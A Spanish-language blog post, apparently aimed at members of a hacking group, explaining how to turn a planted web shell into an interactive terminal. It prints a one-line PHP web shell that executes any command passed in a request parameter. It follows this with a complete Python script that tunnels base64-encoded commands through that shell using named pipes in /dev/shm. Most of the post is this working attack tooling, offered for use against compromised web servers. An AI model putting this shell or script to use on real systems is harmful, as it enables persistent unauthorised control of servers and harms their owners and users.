En ocasiones acceder a un servidor web atraves de una ReverseShell, Python o cualquier otra utilidad se nos hace imposible, este post va dirigido para todos los miembros de BlackOut y todo visitante del blog.
¿Que es una TTY?
Si nos vamos a Wikipedia podemos ver que una TTY es un comando que muestra el nombre de fichero de la terminal de la entrada estándar. Para ejecutarlo, desde un emulador de terminal.
¿Que es una web shell?
Es un script malicioso que se introduce en los sistemas que son atacados. En la mayoría de los casos, los servidores web forman parte del objetivo. Una vez que dichos sistemas cuenten con el web shell, el cibercriminal puede tener control remoto del mismo. En consecuencia, tendrá acceso persistente al sistema y podrá manejarlo como quiera. Esto significa que los web shells tienen la capacidad de crear backdoors en los sistemas vulnerados para tener cierto control e incluso el control total.
Para obtener una web shell simple solo necesitamos una estructura php (shell.php) simila a la siguiente:
Como podemos ver en la siguiente imagen gracias a la web shell podemos ejecutar codigo desde el navegador. Pero para que este no se alargue utilizaremos una Fully TTY para obtener una shell interactiva comoda desde la terminal.
<?php
echo shell_exec($_REQUEST['cmd']);
?>
Para hacer dicha Fully TTY necesitaremos el interprete de Python 3, quiero aclarar que este codigo pueden encontrarlo en https://github.com/s4vitar/ttyoverhttp/blob/master/tty_over_http.py
Pero si no tienes internet puedes copiarte el codigo aca y crear un archivo donde cumpla las funciones del repositorio anterior.
#!/usr/bin/python3
import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange
class AllTheReads(object):
def __init__(self, interval=1):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
readoutput = """/bin/cat %s""" % (stdout)
clearoutput = """echo '' > %s""" % (stdout)
while True:
output = RunCmd(readoutput)
if output:
RunCmd(clearoutput)
print(output)
time.sleep(self.interval)
def RunCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
}
result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
return result
def WriteCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
}
result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
return result
def ReadCmd():
GetOutput = """/bin/cat %s""" % (stdout)
output = RunCmd(GetOutput)
return output
def SetupShell():
NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
try:
RunCmd(NamedPipes)
except:
None
return None
global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)
SetupShell()
ReadingTheThings = AllTheReads()
def sig_handler(sig, frame):
print("\n\n[*] Exiting...\n")
print("[*] Removing files...\n")
RunCmd(erasestdin)
RunCmd(erasestdout)
print("[*] All files have been deleted\n")
sys.exit(0)
signal.signal(signal.SIGINT, sig_handler)
while True:
cmd = input("> ")
WriteCmd(cmd + "\n")
time.sleep(1.1)

Es necesario cambiar el valor de http://127.0.0.1/index.php por la localizacion de la web shell incertada previamente en la pagina. Espero que esto les sirva de ayuda.




